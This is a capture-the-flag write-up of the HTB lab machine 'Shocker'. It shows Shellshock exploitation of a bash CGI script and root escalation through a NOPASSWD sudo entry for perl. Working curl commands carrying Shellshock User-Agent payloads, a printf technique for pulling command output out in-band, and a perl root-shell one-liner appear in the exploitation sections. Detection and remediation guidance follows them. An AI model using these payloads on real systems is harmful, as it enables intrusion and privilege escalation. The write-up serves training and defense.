Skip to content
Back to all posts

HTB: Shocker

· 18 min easy Linux Shocker

A CGI bash script on Apache 2.4.18 is vulnerable to Shellshock (CVE-2014-6271), yielding RCE via a crafted User-Agent header. A sudo NOPASSWD entry for Perl completes the path to root. The real challenge is handling stdout pollution in CGI context.

Overview

Shocker is a retired Easy-rated Linux machine running Ubuntu 16.04.3 with Apache 2.4.18 and OpenSSH 7.2p2 on a non-standard port. The name, the page title (“Don’t Bug Me!”), and a bug.jpg image dated September 2014 (the month Shellshock was disclosed) all converge on the same vulnerability: CVE-2014-6271.

A bash CGI script at /cgi-bin/user.sh provides the attack surface. Shellshock allows arbitrary command execution via crafted HTTP headers, but exploitation requires handling a CGI-specific constraint: stdout pollution. Injected commands that write to stdout before Apache receives valid CGI headers produce HTTP 500 errors. The solution is command substitution inside a printf that generates a well-formed CGI response. This detail is rarely covered in Shellshock tutorials, yet it determines whether exploitation succeeds or fails in any real CGI environment.

After obtaining command execution as shelly, sudo -l reveals a NOPASSWD entry for /usr/bin/perl. Any scripting interpreter with unrestricted sudo access is equivalent to a root shell; GTFOBins documents the one-liner.

Reconnaissance

I start with a service-version scan to map the attack surface:

nmap -sC -sV -oA scans/shocker 10.129.15.18
PortServiceProduct / VersionNotes
80HTTPApache httpd 2.4.18 (Ubuntu)“Don’t Bug Me!” page
2222SSHOpenSSH 7.2p2 Ubuntu 4ubuntu2.2Non-standard SSH port

Two services. Port 80 serves a static page containing a single JPEG image. The image metadata shows a September 2014 creation date; Shellshock was publicly disclosed on 24 September 2014. Three independent hints (box name, page title, image date) point to CVE-2014-6271. When multiple thematic signals converge like this, the hypothesis is high-confidence before any technical validation.

OpenSSH 7.2p2 on Ubuntu 4ubuntu2.2 maps to Ubuntu 16.04, which shipped with bash 4.3 (pre-patch-25 in its initial release). This version alignment is consistent with a Shellshock-vulnerable target.

Attack Surface Analysis

CGI directory discovery

Apache returns 403 Forbidden for /cgi-bin/. This is significant: a 404 would mean the directory does not exist, but 403 means it exists and directory listing is disabled. The distinction narrows the search from “does CGI exist?” to “what scripts are inside?”

I use feroxbuster for content discovery because it handles recursive scanning and supports extension-based fuzzing natively. The -x sh,pl,cgi,py flags target common CGI script extensions; bash and Perl scripts are the most frequent Shellshock targets because they invoke bash as their interpreter or via system calls:

feroxbuster -u http://10.129.15.18/cgi-bin/ \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -x sh,pl,cgi,py
200 GET /cgi-bin/user.sh

Fetching user.sh returns plain text output from the uptime command:

Content-Type: text/plain

12:34:01 up 1:23, 0 users, load average: 0.00, 0.00, 0.00

A bash script executing uptime and returning the result as plain text via Apache’s CGI handler. This is the canonical Shellshock attack surface: an HTTP request reaches Apache, Apache sets environment variables from the request headers, and Apache spawns bash to execute the CGI script. If bash is vulnerable, code execution occurs during environment variable import, before the script body runs.

Vulnerability Analysis

AttributeValue
CVECVE-2014-6271
CVSS v39.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWECWE-78 (OS Command Injection)
Root causeBash processes trailing commands after function definitions in environment variables
AffectedBash versions before 4.3 patch 25
Fixed inBash 4.3 patch 25
MITRE ATT&CKT1190 (Exploit Public-Facing Application)

The parsing flaw

Bash has a feature (not a bug, in isolation) that allows functions to be exported via environment variables. When bash starts, it scans every environment variable. If a variable’s value begins with () {, bash treats it as a serialised function definition and parses it.

The vulnerability is in what happens after the closing brace. Bash’s parser does not stop at the end of the function body. Any commands appended after the } are executed immediately during the import phase. The payload format is:

() { :;}; <command>

The () { :;} is a minimal valid function body (: is a no-op builtin). The semicolon after } terminates the function definition, and <command> runs with the privileges of the bash process.

The CGI attack vector

In CGI environments, Apache translates HTTP headers into environment variables using a predictable naming convention: User-Agent becomes HTTP_USER_AGENT, Referer becomes HTTP_REFERER, and so on. When the CGI script is a bash script (or any script where bash is the interpreter), Apache spawns bash, which imports these header-derived environment variables. If any variable contains the Shellshock payload, arbitrary code executes before the script’s first line runs.

stdout pollution

The CGI protocol imposes a strict contract: the script must output HTTP headers (at minimum Content-Type) followed by a blank line, then the body. If the injected command writes to stdout before Apache receives these headers, Apache cannot parse the response and returns HTTP 500 Internal Server Error.

This creates a practical constraint. Commands like id or cat /etc/passwd write directly to stdout, corrupting the CGI response stream. Commands that produce no output (like /bin/true) return HTTP 200, which confirms code execution but provides no data.

The solution is printf with command substitution. printf generates a valid CGI response with proper headers, and $(cmd) embeds the command’s output in the response body. Shell substitution executes before printf processes its format string, so the command runs first, its output is captured, and the result is wrapped in a valid HTTP response.

Exploitation

Confirming Shellshock

I start with a silent command to confirm execution without triggering stdout pollution:

curl -s -o /dev/null -w "%{http_code}" \
  -H 'User-Agent: () { :;}; /bin/true' \
  http://10.129.15.18/cgi-bin/user.sh
# 200

HTTP 200 confirms code execution. A non-vulnerable bash would ignore the function-like syntax in the environment variable and return the normal uptime output. The absence of an error combined with the absence of uptime output (verified with -o /dev/null) confirms the payload ran.

RCE via command substitution

The PATH environment variable is stripped in the Shellshock execution context. Apache’s CGI environment does not inherit the system PATH, so every command needs either an absolute path or an explicit PATH= prefix. I discovered this after initial commands silently failed; adding PATH=/usr/bin:/bin resolved it:

curl -s -H 'User-Agent: () { :;}; printf "Content-Type: text/plain\r\n\r\n$(PATH=/usr/bin:/bin id)\r\n"' \
  http://10.129.15.18/cgi-bin/user.sh
uid=1000(shelly) gid=1000(shelly) groups=1000(shelly),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)

The CGI process runs as shelly (uid 1000), not www-data. This means Apache is configured with suexec or the CGI script’s ownership determines the execution user. Running as a real user rather than www-data grants direct access to the user’s home directory and sudo configuration.

The lxd group membership (gid 110) is notable: it provides an alternative privilege escalation path via privileged container creation, though the sudo perl entry is simpler.

User flag

curl -s -H 'User-Agent: () { :;}; printf "Content-Type: text/plain\r\n\r\n$(PATH=/usr/bin:/bin cat /home/shelly/user.txt)\r\n"' \
  http://10.129.15.18/cgi-bin/user.sh
# [redacted]

Privilege escalation via sudo perl

Enumerating sudo privileges through the Shellshock channel:

curl -s -H 'User-Agent: () { :;}; printf "Content-Type: text/plain\r\n\r\n$(PATH=/usr/bin:/bin sudo -l)\r\n"' \
  http://10.129.15.18/cgi-bin/user.sh
User shelly may run the following commands on Shocker:
    (root) NOPASSWD: /usr/bin/perl

Perl with NOPASSWD sudo is unrestricted root access. Any scripting interpreter (perl, python, ruby, lua, node, php) with sudo NOPASSWD allows the user to execute arbitrary system commands as root. The interpreter does not restrict what code it runs; it simply executes whatever the user provides. There is no sandboxing, no restricted mode, no capability filtering. GTFOBins catalogues the exact syntax for each interpreter.

curl -s -H 'User-Agent: () { :;}; printf "Content-Type: text/plain\r\n\r\n$(PATH=/usr/bin:/bin sudo perl -e '"'"'print \`cat /root/root.txt\`'"'"')\r\n"' \
  http://10.129.15.18/cgi-bin/user.sh
# [redacted]

For an interactive root shell (via SSH as shelly):

sudo perl -e 'exec "/bin/bash"'

Root flag obtained.

Post-Exploitation

uname -a
# Linux Shocker 4.4.0-96-generic #119-Ubuntu SMP x86_64 GNU/Linux

cat /etc/lsb-release
# DISTRIB_DESCRIPTION="Ubuntu 16.04.3 LTS"

bash --version | head -1
# GNU bash, version 4.3.30(1)-release (x86_64-pc-linux-gnu)

Ubuntu 16.04.3 shipped with bash 4.3.30, which postdates the Shellshock fix (patch 25). However, the box is configured with an intentionally downgraded bash binary to create the vulnerable condition. In real-world scenarios, systems running bash < 4.3.25 in 2017 would indicate either extreme patch neglect or an embedded/appliance system with vendor-controlled updates.

All outbound ports except 80 and 2222 are firewalled. Reverse shells on arbitrary listener ports fail silently. This egress filtering was the only effective defensive control on this host, and it forced the use of in-band exfiltration rather than a callback shell. I confirmed this by attempting nc callbacks on ports 4444, 8080, and 443; none connected.

The kernel version (4.4.0-96) is vulnerable to several local privilege escalation CVEs, including DirtyCow (CVE-2016-5195). Between the lxd group membership, the sudo perl entry, and kernel vulnerabilities, there are at least three independent paths to root.

Defensive Analysis

Detection opportunities

PhaseMITRE ATT&CKDetection
Initial accessT1190WAF or IDS signature for () { pattern in HTTP headers
ExecutionT1059.004Process monitoring: bash spawned by Apache with environment injection
Privilege esc.T1548.003Sudo audit logs: shelly running /usr/bin/perl as root

Network-level: Shellshock payloads are trivially detectable by IDS rules matching () { in HTTP request headers. Snort SID 31975-31978 cover the major variants. Any modern WAF (ModSecurity, Cloudflare, AWS WAF) blocks Shellshock by default. The pattern is distinctive and produces negligible false positives because legitimate HTTP headers never contain bash function syntax.

Host-level: The CGI process spawning arbitrary commands produces an anomalous process tree: Apache -> bash -> (injected command). Normal CGI execution shows Apache -> bash -> (the script’s expected commands). Process monitoring tools like auditd or Sysmon for Linux would flag unexpected child processes of the Apache worker.

Sudo auditing: Every sudo invocation is logged to /var/log/auth.log. A non-root user running /usr/bin/perl as root should trigger an alert in any environment with centralised log analysis. The combination of a CGI process executing sudo is itself anomalous; web applications should never call sudo.

Remediation

PriorityActionEffortImpact
P0Upgrade bash to 4.3 patch 25 or laterLowCritical
P0Remove NOPASSWD sudo entry for /usr/bin/perlLowCritical
P1Remove or restrict /cgi-bin/user.shLowHigh
P1Replace bash CGI scripts with a POSIX sh or compiled handlerLowHigh
P1Run CGI processes as www-data, not as real usersLowHigh
P2Deploy a WAF with Shellshock signaturesMediumMedium
P2Maintain egress filtering (already in place)LowMedium
P3Audit all sudo NOPASSWD entries for interpretersLowMedium
P3Remove shelly from lxd groupLowMedium

The sudo entry is the more dangerous finding from a defensive perspective. Shellshock requires a specific, patchable vulnerability in bash. A NOPASSWD sudo entry for any interpreter is equivalent to unrestricted root access, and it persists regardless of patch level. Sudo audits should flag any interpreter in a NOPASSWD entry as a critical finding.

Running the CGI process as shelly rather than www-data violates the principle of least privilege. The web server process gains access to the user’s home directory, sudo configuration, and group memberships. If the process ran as www-data, the attacker would need a separate lateral movement step to reach a user account with sudo privileges.

Key Takeaways

  1. Thematic clues compound. Box name (Shocker), page title (Don’t Bug Me!), and image date (September 2014) all pointed to the same CVE. When multiple independent hints converge, treat it as high-confidence signal and validate technically rather than continuing blind enumeration.

  2. stdout pollution is a CGI-specific constraint that determines exploit success. Commands that write to stdout before CGI headers are emitted produce HTTP 500. The printf with $() substitution pattern solves this: the command executes inside the substitution, and its output is embedded in a valid HTTP response. This technique applies to any CGI-based command injection, not just Shellshock.

  3. PATH is stripped in CGI execution contexts. Apache’s CGI environment provides a minimal set of variables. Commands need absolute paths or an explicit PATH= prefix. Silent failures from missing PATH are a common reason exploits appear not to work when they are actually executing.

  4. When all outbound ports are filtered, use in-band exfiltration. Write output to a web-accessible path, or embed it in the HTTP response via command substitution. The substitution approach is cleaner because it leaves no filesystem artefacts and works within a single request.

  5. Interpreter NOPASSWD sudo entries are root equivalents. Any entry granting passwordless sudo to perl, python, ruby, or similar interpreters provides unrestricted root access. These should be treated as P0 findings in any security audit, independent of the initial access vector.